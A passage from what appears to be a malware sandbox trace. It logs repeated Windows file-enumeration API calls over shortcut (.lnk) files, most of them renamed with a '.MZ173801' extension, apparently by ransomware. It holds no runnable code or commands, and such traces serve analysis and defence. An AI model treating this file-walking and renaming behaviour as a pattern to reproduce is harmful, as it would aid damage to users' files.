ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x598, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="NnWEZGpZkAAsmio3W.lnk.MZ173801", cAlternateFileName="NNWEZG~1.MZ1")) returned 1 [0153.200] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.200] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.200] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x826d087c, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x826d087c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x826d087c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="nr eBEnfl46_3f.lnk", cAlternateFileName="NREBEN~1.LNK")) returned 1 [0153.200] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.200] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.200] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x598d8238, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x598d8238, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x83ef45d4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="nS7qCk1FY_m2n6d8o2.flv.lnk.MZ173801", cAlternateFileName="NS7QCK~1.MZ1")) returned 1 [0153.200] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.200] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.200] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf38d0f32, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf38d0f32, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x840e460d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3d3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="nuPKgeB MAKEYlr.lnk.MZ173801", cAlternateFileName="NUPKGE~1.MZ1")) returned 1 [0153.200] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.200] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.200] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e4600b1, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e4600b1, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8410a637, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="oc9w vNlFm_eUy1Ryd4.lnk.MZ173801", cAlternateFileName="OC9WVN~1.MZ1")) returned 1 [0153.200] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.200] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.200] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1c3ba12, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf1c3ba12, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x842157d9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x404, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="oeFUq.lnk.MZ173801", cAlternateFileName="OEFUQL~1.MZ1")) returned 1 [0153.200] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.200] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.200] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484c2958, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x484c2958, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8424c200, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="oeJFddiIwMX1RoB4tjS.lnk.MZ173801", cAlternateFileName="OEJFDD~1.MZ1")) returned 1 [0153.200] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.200] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.200] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf40c30fd, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf40c30fd, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x84261b88, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x592, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="oj2PlKbc7rCn.lnk.MZ173801", cAlternateFileName="OJ2PLK~1.MZ1")) returned 1 [0153.200] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.200] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.200] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b9bbf2d, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5b9bbf2d, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x843e127c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x28d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="oojSlrPVLmu.lnk.MZ173801", cAlternateFileName="OOJSLR~1.MZ1")) returned 1 [0153.200] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.200] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.200] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x561f02ae, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x561f02ae, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x844056a3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x403, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="OTKm8-mOEk l8967aX.lnk.MZ173801", cAlternateFileName="OTKM8-~1.MZ1")) returned 1 [0153.200] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.200] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.200] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54a186e1, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x54a186e1, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8453684c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3be, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Ozc5X.lnk.MZ173801", cAlternateFileName="OZC5XL~1.MZ1")) returned 1 [0153.200] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.201] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.201] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845a8fe2, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x845a8fe2, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x845a8fe2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="OZPiTj4Rb.flv.lnk", cAlternateFileName="OZPITJ~1.LNK")) returned 1 [0153.201] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.201] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.201] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf49b3fd9, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf49b3fd9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x8455cb48, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="pa0XQGFgpgnvg.flv.lnk.MZ173801", cAlternateFileName="PA0XQG~1.MZ1")) returned 1 [0153.201] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.201] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.201] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0017f06, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x7f7e0384, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x84583972, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2f1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Pictures.lnk.MZ173801", cAlternateFileName="PICTUR~1.MZ1")) returned 1 [0153.201] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.201] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.201] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49623460, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x49623460, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x84583972, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="pRvInr44zIMLaGG9ke.lnk.MZ173801", cAlternateFileName="PRVINR~1.MZ1")) returned 1 [0153.201] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.201] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.201] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45614c69, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x45614c69, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x846b3fd4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ff, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="psR4.lnk.MZ173801", cAlternateFileName="PSR4LN~1.MZ1")) returned 1 [0153.201] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.201] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.201] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62e1c0d0, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x62e1c0d0, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x846da2be, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="PurPDfKeeDvp_IIQ.lnk.MZ173801", cAlternateFileName="PURPDF~1.MZ1")) returned 1 [0153.201] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.201] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.201] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cd930c0, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4cd930c0, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x846da2be, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="pUtEu.lnk.MZ173801", cAlternateFileName="PUTEUL~1.MZ1")) returned 1 [0153.201] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.201] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.201] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e870a17, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e870a17, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x847005ce, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="q3G nDiy4yr.lnk.MZ173801", cAlternateFileName="Q3GNDI~1.MZ1")) returned 1 [0153.201] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.201] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.201] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43da4c8c, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x43da4c8c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x848316b7, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x457, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="qGswZi1Gyw _CPZuF.lnk.MZ173801", cAlternateFileName="QGSWZI~1.MZ1")) returned 1 [0153.201] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.201] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.201] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1e2b7af, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf1e2b7af, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x84857ce7, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x5c3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="QRroD6XCz-BrMFrtkIV.lnk.MZ173801", cAlternateFileName="QRROD6~1.MZ1")) returned 1 [0153.201] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.201] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.201] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x552e30ff, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x552e30ff, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8487dd26, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2a1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="QsHzM41CtrXDXmh.lnk.MZ173801", cAlternateFileName="QSHZM4~1.MZ1")) returned 1 [0153.201] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.201] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.201] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf472b621, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf472b621, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x84ae01a9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="RaqZQNwTN3mbA0F.lnk.MZ173801", cAlternateFileName="RAQZQN~1.MZ1")) returned 1 [0153.201] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.201] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.202] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cb30b9d, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4cb30b9d, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x84b065da, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="RDCSEzrQ7xZ1X0RREt.lnk.MZ173801", cAlternateFileName="RDCSEZ~1.MZ1")) returned 1 [0153.202] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.202] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.202] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5afcf4a, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf5afcf4a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x84b2c693, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="REZYZ1.lnk.MZ173801", cAlternateFileName="REZYZ1~1.MZ1")) returned 1 [0153.202] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.202] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.202] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a4c25, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf52a4c25, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x84b2c693, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="RGQur6sY-GXeNf-nX.lnk.MZ173801", cAlternateFileName="RGQUR6~1.MZ1")) returned 1 [0153.202] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.202] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.202] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf08b65c7, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x8257934a, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x84c114e1, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Roaming.lnk.MZ173801", cAlternateFileName="ROAMIN~1.MZ1")) returned 1 [0153.202] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.202] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.202] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e49e877, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5e49e877, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x84c5e2e8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="soIxhtWQvRHiZe.lnk.MZ173801", cAlternateFileName="SOIXHT~1.MZ1")) returned 1 [0153.202] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.202] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.202] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d231ab9, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4d231ab9, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x84c5e2e8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x443, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="sqorZLc30 FYq4TE ce9.lnk.MZ173801", cAlternateFileName="SQORZL~1.MZ1")) returned 1 [0153.202] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.202] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.202] FindNextFileW (in: 